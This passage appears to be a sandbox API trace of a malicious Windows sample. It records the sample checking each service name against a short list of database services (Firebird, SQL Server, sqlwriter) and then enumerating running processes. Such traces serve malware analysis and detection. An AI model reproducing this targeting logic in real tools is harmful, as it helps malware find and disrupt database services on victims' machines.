lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0119.722] lstrlenW (lpString="BITS") returned 4 [0119.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0119.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0119.722] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0119.722] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0119.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0119.722] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0119.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0119.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0119.722] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0119.722] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0119.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0119.722] lstrlenW (lpString="CDPSvc") returned 6 [0119.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0119.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0119.722] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0119.722] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0119.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0119.722] lstrlenW (lpString="ClickToRunSvc") returned 13 [0119.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0119.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0119.722] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0119.722] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0119.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0119.722] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0119.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0119.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0119.723] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0119.723] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0119.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0119.723] lstrlenW (lpString="CryptSvc") returned 8 [0119.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0119.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0119.723] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0119.723] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0119.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0119.723] lstrlenW (lpString="DcomLaunch") returned 10 [0119.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0119.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0119.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0119.723] lstrlenW (lpString="DeviceAssociationService") returned 24 [0119.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0119.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0119.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0119.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0119.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0119.723] lstrlenW (lpString="Dhcp") returned 4 [0119.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0119.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0119.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0119.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0119.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0119.724] lstrlenW (lpString="Dnscache") returned 8 [0119.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0119.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0119.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0119.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0119.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0119.724] lstrlenW (lpString="DoSvc") returned 5 [0119.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0119.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0119.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0119.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0119.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0119.724] lstrlenW (lpString="DPS") returned 3 [0119.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0119.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0119.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0119.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0119.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0119.724] lstrlenW (lpString="DusmSvc") returned 7 [0119.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0119.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0119.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0119.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0119.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0119.724] lstrlenW (lpString="EventLog") returned 8 [0119.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0119.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0119.724] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0119.724] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0119.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0119.725] lstrlenW (lpString="EventSystem") returned 11 [0119.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0119.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0119.725] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0119.725] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0119.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0119.725] lstrlenW (lpString="FontCache") returned 9 [0119.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0119.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0119.725] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0119.725] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0119.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0119.725] lstrlenW (lpString="gpsvc") returned 5 [0119.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0119.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0119.725] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0119.725] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0119.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0119.725] lstrlenW (lpString="iphlpsvc") returned 8 [0119.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.725] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0119.725] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0119.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0119.725] lstrlenW (lpString="KeyIso") returned 6 [0119.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0119.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0119.725] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0119.725] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0119.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0119.726] lstrlenW (lpString="LanmanServer") returned 12 [0119.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0119.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0119.726] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0119.726] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0119.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0119.726] lstrlenW (lpString="LanmanWorkstation") returned 17 [0119.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.726] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0119.726] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0119.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0119.726] lstrlenW (lpString="lfsvc") returned 5 [0119.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0120.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0120.252] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0120.252] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0120.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0120.252] lstrlenW (lpString="lmhosts") returned 7 [0120.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0120.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0120.252] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0120.252] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0120.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0120.252] lstrlenW (lpString="LSM") returned 3 [0120.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0120.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0120.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0120.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0120.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0120.253] lstrlenW (lpString="MapsBroker") returned 10 [0120.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0120.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0120.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0120.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0120.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0120.253] lstrlenW (lpString="MpsSvc") returned 6 [0120.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0120.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0120.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0120.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0120.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0120.253] lstrlenW (lpString="NcbService") returned 10 [0120.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0120.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0120.253] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0120.253] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0120.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0120.253] lstrlenW (lpString="netprofm") returned 8 [0120.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0120.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0120.253] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0120.253] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0120.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0120.253] lstrlenW (lpString="NlaSvc") returned 6 [0120.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0120.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0120.254] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0120.254] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0120.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0120.254] lstrlenW (lpString="nsi") returned 3 [0120.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0120.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0120.254] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0120.254] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0120.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0120.254] lstrlenW (lpString="PcaSvc") returned 6 [0120.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0120.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0120.254] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0120.254] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0120.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0120.254] lstrlenW (lpString="PlugPlay") returned 8 [0120.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0120.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0120.254] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0120.254] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0120.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0120.254] lstrlenW (lpString="Power") returned 5 [0120.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0120.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0120.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0120.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0120.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0120.254] lstrlenW (lpString="ProfSvc") returned 7 [0120.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0120.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0120.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0120.255] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0120.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0120.255] lstrlenW (lpString="RpcEptMapper") returned 12 [0120.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.255] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0120.255] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0120.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0120.255] lstrlenW (lpString="RpcSs") returned 5 [0120.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0120.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0120.255] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0120.255] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0120.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0120.255] lstrlenW (lpString="SamSs") returned 5 [0120.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0120.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0120.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0120.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0120.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0120.255] lstrlenW (lpString="Schedule") returned 8 [0120.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0120.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0120.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0120.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0120.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0120.255] lstrlenW (lpString="SecurityHealthService") returned 21 [0120.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0120.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0120.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0120.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0120.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0120.256] lstrlenW (lpString="SENS") returned 4 [0120.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0120.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0120.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0120.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0120.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0120.256] lstrlenW (lpString="ShellHWDetection") returned 16 [0120.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.256] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0120.256] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0120.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0120.256] lstrlenW (lpString="Spooler") returned 7 [0120.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0120.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0120.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0120.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0120.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0120.256] lstrlenW (lpString="sppsvc") returned 6 [0120.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0120.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0120.256] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0120.256] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0120.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0120.256] lstrlenW (lpString="SSDPSRV") returned 7 [0120.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0120.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0120.257] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0120.257] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0120.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0120.257] lstrlenW (lpString="StateRepository") returned 15 [0120.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0120.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0120.257] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0120.257] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0120.257] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38d6298 | out: hHeap=0x4b0000) returned 1 [0120.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0120.276] Process32FirstW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.277] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.278] lstrlenW (lpString="System") returned 6 [0120.278] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.279] lstrlenW (lpString="smss.exe") returned 8 [0120.279] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.279] lstrlenW (lpString="csrss.exe") returned 9 [0120.280] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.280] lstrlenW (lpString="wininit.exe") returned 11 [0120.280] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.281] lstrlenW (lpString="csrss.exe") returned 9 [0120.281] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.281] lstrlenW (lpString="winlogon.exe") returned 12 [0120.282] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.282] lstrlenW (lpString="services.exe") returned 12 [0120.282] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.283] lstrlenW (lpString="lsass.exe") returned 9 [0120.283] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.284] lstrlenW (lpString="svchost.exe") returned 11 [0120.284] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0120.285] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0120.285] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0120.286] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0120.286] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.286] lstrlenW (lpString="svchost.exe") returned 11 [0120.286] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, 